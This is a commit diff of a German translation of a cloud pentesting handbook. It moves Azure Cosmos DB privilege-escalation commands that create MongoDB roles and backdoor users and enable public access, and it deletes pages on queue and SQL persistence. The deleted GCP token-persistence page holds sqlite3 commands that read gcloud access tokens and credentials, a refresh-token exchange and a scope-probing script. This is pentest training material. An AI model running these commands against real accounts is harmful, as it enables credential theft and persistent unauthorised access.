Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

2026-01-07 10:50:33 -08:00 · 2025-02-20 23:14:41 +00:00
parent 46d316d56c
commit 9f36f1ee9f
7 changed files with 72 additions and 196 deletions
--- a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md
@@ -1,29 +0,0 @@
-# Az - Queue Storage Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Queue
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../az-services/az-queue.md
-{{#endref}}
-
-### Aktionen: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
-
-Diese Berechtigung ermöglicht es einem Angreifer, Warteschlangen und deren Eigenschaften innerhalb des Speicherkontos zu erstellen oder zu ändern. Sie kann verwendet werden, um unbefugte Warteschlangen zu erstellen, Metadaten zu ändern oder Zugriffssteuerlisten (ACLs) zu ändern, um den Zugriff zu gewähren oder einzuschränken. Diese Fähigkeit könnte Arbeitsabläufe stören, bösartige Daten injizieren, sensible Informationen exfiltrieren oder Warteschlangeneinstellungen manipulieren, um weitere Angriffe zu ermöglichen.
-```bash
-az storage queue create --name <new-queue-name> --account-name <storage-account>
-
-az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
-
-az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
-```
-## Referenzen
-
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
-
-{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-persistence/az-sql-persistance.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-sql-persistance.md
@@ -1,20 +0,0 @@
-# Az - SQL Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQL
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../az-services/az-sql.md
-{{#endref}}
-
-### Häufige Persistenztechniken
-
- SQL-Anmeldeinformationen kompromittieren oder einen SQL-Benutzer erstellen (SQL-Authentifizierung aktivieren, falls erforderlich)
- Einen kompromittierten Benutzer als Entra ID-Administrator zuweisen (Entra ID-Authentifizierung aktivieren, falls erforderlich)
- Hintertür in der VM (wenn SQL-VM verwendet wird)
- Eine FW-Regel erstellen, um den Zugriff auf die SQL-Datenbank aufrechtzuerhalten
-
-{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -11,13 +11,26 @@ Für weitere Informationen zur SQL-Datenbank siehe:


 ### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
-Mit dieser Berechtigung können Sie Azure Cosmos DB-Konten erstellen oder aktualisieren. Dies umfasst die Änderung von kontobezogenen Einstellungen, das Hinzufügen oder Entfernen von Regionen, das Ändern von Konsistenzstufen und das Aktivieren oder Deaktivieren von Funktionen wie Multi-Region-Schreibvorgängen.
+Mit dieser Berechtigung können Sie Azure Cosmos DB-Konten erstellen oder aktualisieren. Dies umfasst die Änderung von kontobezogenen Konfigurationen, das Aktivieren oder Deaktivieren von automatischem Failover, das Verwalten von Netzwerkzugriffssteuerungen, das Festlegen von Backup-Richtlinien und das Anpassen von Konsistenzstufen. Angreifer mit dieser Berechtigung könnten Einstellungen ändern, um Sicherheitskontrollen zu schwächen, die Verfügbarkeit zu stören oder Daten durch die Änderung von Netzwerkregeln zu exfiltrieren.
 ```bash
 az cosmosdb update \
 --name <account_name> \
 --resource-group <resource_group_name> \
 --public-network-access ENABLED
 ```
+
+```bash
+az cosmosdb update \
+--account-name <account_name> \
+--resource-group <resource_group_name> \
+--capabilities EnableMongoRoleBasedAccessControl
+```
+Zusätzlich können Sie verwaltete Identitäten im Konto aktivieren:
+```bash
+az cosmosdb identity assign \
+--name <cosmosdb_account_name> \
+--resource-group <resource_group_name>
+```
 ### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
 Mit dieser Berechtigung können Sie Container (Sammlungen) innerhalb einer SQL-Datenbank eines Azure Cosmos DB-Kontos erstellen oder ändern. Container werden verwendet, um Daten zu speichern, und Änderungen an ihnen können die Struktur und Zugriffsarten der Datenbank beeinflussen.
 ```bash
@@ -119,52 +132,4 @@ az cosmosdb mongodb database create \
 --resource-group <resource_group_name> \
 --name <database_name>
 ```
-### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
-Mit dieser Berechtigung können Sie neue MongoDB-Rollen-Definitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Definition benutzerdefinierter Rollen mit spezifischen Berechtigungen für MongoDB-Benutzer.
-```bash
-az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
-"Id": "<mydatabase>.readWriteRole",
-"RoleName": "readWriteRole",
-"Type": "CustomRole",
-"DatabaseName": "<mydatabase>",
-"Privileges": [
-{
-"Resource": {
-"Db": "<mydatabase>",
-"Collection": "mycollection"
-},
-"Actions": [
-"insert",
-"find",
-"update"
-]
-}
-],
-"Roles": []
-}'
-```
-### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
-Mit dieser Berechtigung können Sie neue MongoDB-Benutzerdefinitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Bereitstellung von Benutzern mit spezifischen Rollen und Zugriffslevels auf MongoDB-Datenbanken.
-```bash
-az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
-"Id": "<mydatabase>.myUser",
-"UserName": "myUser",
-"Password": "mySecurePassword",
-"DatabaseName": "<mydatabase>",
-"CustomData": "TestCustomData",
-"Mechanisms": "SCRAM-SHA-256",
-"Roles": [
-{
-"Role": "readWriteRole",
-"Db": "<mydatabase>"
-}
-]
-}'
-```
 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -11,7 +11,7 @@ Für weitere Informationen zur SQL-Datenbank siehe:

 ### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)

-Mit diesen Berechtigungen können Sie Privilegien eskalieren, indem Sie einem Benutzer die Berechtigungen zum Ausführen von Abfragen und zum Verbinden mit der Datenbank geben. Zuerst wird eine Rollendefinition erstellt, die die erforderlichen Berechtigungen und Bereiche gewährt.
+Mit diesen Berechtigungen können Sie Privilegien eskalieren, indem Sie einem Benutzer die Berechtigungen zum Ausführen von Abfragen und zum Verbinden mit der Datenbank geben. Zuerst wird eine Rollenbeschreibung erstellt, die die erforderlichen Berechtigungen und Bereiche festlegt.
 ```bash
 az cosmosdb sql role definition create \
 --account-name <account_name> \
@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
 --principal-id <principal_id-togive-perms> \
 --scope "/"
 ```
+### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
+
+Mit dieser Berechtigung können Sie neue MongoDB-Rollen-Definitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Definition benutzerdefinierter Rollen mit spezifischen Berechtigungen für MongoDB-Benutzer. RBAC-Funktionen müssen aktiviert sein, um dies zu verwenden.
+```bash
+az cosmosdb mongodb role definition create \
+--account-name <account_name> \
+--resource-group <resource_group_name> \
+--body '{
+"Id": "<mydatabase>.readWriteRole",
+"RoleName": "readWriteRole",
+"Type": "CustomRole",
+"DatabaseName": "<mydatabase>",
+"Privileges": [
+{
+"Resource": {
+"Db": "<mydatabase>",
+"Collection": "mycollection"
+},
+"Actions": [
+"insert",
+"find",
+"update"
+]
+}
+],
+"Roles": []
+}'
+```
+Sie können neue MongoDB-Benutzerdefinitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Bereitstellung von Benutzern mit spezifischen Rollen und Zugriff auf MongoDB-Datenbanken.
+```bash
+az cosmosdb mongodb user definition create \
+--account-name <account_name> \
+--resource-group <resource_group_name> \
+--body '{
+"Id": "<mydatabase>.myUser",
+"UserName": "<myUser>",
+"Password": "<mySecurePassword>",
+"DatabaseName": "<mydatabase>",
+"CustomData": "TestCustomData",
+"Mechanisms": "SCRAM-SHA-256",
+"Roles": [
+{
+"Role": "readWriteRole",
+"Db": "<mydatabase>"
+}
+]
+}'
+```
+Nachdem ein neuer Benutzer innerhalb von MongoDB erstellt wurde, können wir darauf zugreifen:
+```bash
+mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
+```
 ### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
 Mit dieser Berechtigung können Sie die primären und sekundären Schlüssel für ein Azure Cosmos DB-Konto abrufen. Diese Schlüssel bieten vollen Zugriff auf das Datenbankkonto und dessen Ressourcen, wodurch Aktionen wie Datenlesungen, -schreibungen und Konfigurationsänderungen ermöglicht werden.
 ```bash
 az cosmosdb keys list \
 --name <account_name> \
 --resource-group <resource_group_name>
-
 ```
 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md
@@ -1,90 +0,0 @@
-# GCP - Token Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Authentifizierte Benutzertokens
-
-Um das **aktuelle Token** eines Benutzers zu erhalten, können Sie Folgendes ausführen:
-```bash
-sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
-```
-Überprüfen Sie auf dieser Seite, wie Sie **dieses Token direkt mit gcloud verwenden**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
-{{#endref}}
-
-Um die Einzelheiten zur **Generierung eines neuen Zugriffstokens** zu erhalten, führen Sie aus:
-```bash
-sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
-```
-Es ist auch möglich, Refresh-Token in **`$HOME/.config/gcloud/application_default_credentials.json`** und in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** zu finden.
-
-Um ein neues aktualisiertes Zugriffstoken mit dem **Refresh-Token**, der Client-ID und dem Client-Secret zu erhalten, führen Sie aus:
-```bash
-curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
-```
-Die Gültigkeit der Refresh-Token kann in **Admin** > **Sicherheit** > **Google Cloud-Sitzungskontrolle** verwaltet werden, und standardmäßig ist sie auf 16 Stunden eingestellt, obwohl sie so konfiguriert werden kann, dass sie niemals abläuft:
-
-<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
-
-### Auth-Flow
-
-Der Authentifizierungsfluss bei der Verwendung von etwas wie `gcloud auth login` öffnet ein Eingabeaufforderung im Browser, und nachdem alle Berechtigungen akzeptiert wurden, sendet der Browser eine Anfrage wie diese an den von dem Tool geöffneten HTTP-Port:
-```
-/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
-```
-Dann wird gcloud den Zustand und den Code mit einer fest codierten `client_id` (`32555940559.apps.googleusercontent.com`) und **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) verwenden, um die **finalen Refresh-Token-Daten** zu erhalten.
-
-> [!CAUTION]
-> Beachten Sie, dass die Kommunikation mit localhost über HTTP erfolgt, sodass es möglich ist, die Daten abzufangen, um ein Refresh-Token zu erhalten. Diese Daten sind jedoch nur 1 Mal gültig, daher wäre dies nutzlos; es ist einfacher, das Refresh-Token aus der Datei zu lesen.
-
-### OAuth Scopes
-
-Sie finden alle Google-Scope in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) oder erhalten sie, indem Sie ausführen:
-```bash
-curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
-```
-Es ist möglich zu sehen, welche Scopes die Anwendung, die **`gcloud`** zur Authentifizierung verwendet, unterstützen kann, mit diesem Skript:
-```bash
-curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
-echo -ne "Testing $scope         \r"
-if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
-echo ""
-echo $scope
-fi
-done
-```
-Nach der Ausführung wurde überprüft, dass diese App die folgenden Scopes unterstützt:
-```
-https://www.googleapis.com/auth/appengine.admin
-https://www.googleapis.com/auth/bigquery
-https://www.googleapis.com/auth/cloud-platform
-https://www.googleapis.com/auth/compute
-https://www.googleapis.com/auth/devstorage.full_control
-https://www.googleapis.com/auth/drive
-https://www.googleapis.com/auth/userinfo.email
-```
-es ist interessant zu sehen, wie diese App den **`drive`** Scope unterstützt, der es einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn es einem Angreifer gelingt, den Benutzer zu zwingen, ein Token mit diesem Scope zu generieren.
-
-**Überprüfen Sie, wie Sie** [**das hier ausnutzen können**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
-
-### Dienstkonten
-
-Genau wie bei authentifizierten Benutzern, wenn Sie es schaffen, die **private Schlüsseldatei** eines Dienstkontos zu **kompromittieren, können Sie in der Regel so lange darauf zugreifen, wie Sie möchten**.\
-Wenn Sie jedoch das **OAuth-Token** eines Dienstkontos stehlen, kann das sogar noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das **OAuth-Token gültig, bis es abläuft, selbst wenn das Opfer den privaten API-Schlüssel löscht**.
-
-### Metadaten
-
-Offensichtlich können Sie, solange Sie sich in einer Maschine im GCP-Umfeld befinden, **auf das Dienstkonto zugreifen, das an dieser Maschine angehängt ist, indem Sie den Metadaten-Endpunkt kontaktieren** (beachten Sie, dass die OAuth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).
-
-### Abhilfemaßnahmen
-
-Einige Abhilfemaßnahmen für diese Techniken werden in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) erklärt.
-
-### Referenzen
-
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
-
-{{#include ../../../banners/hacktricks-training.md}}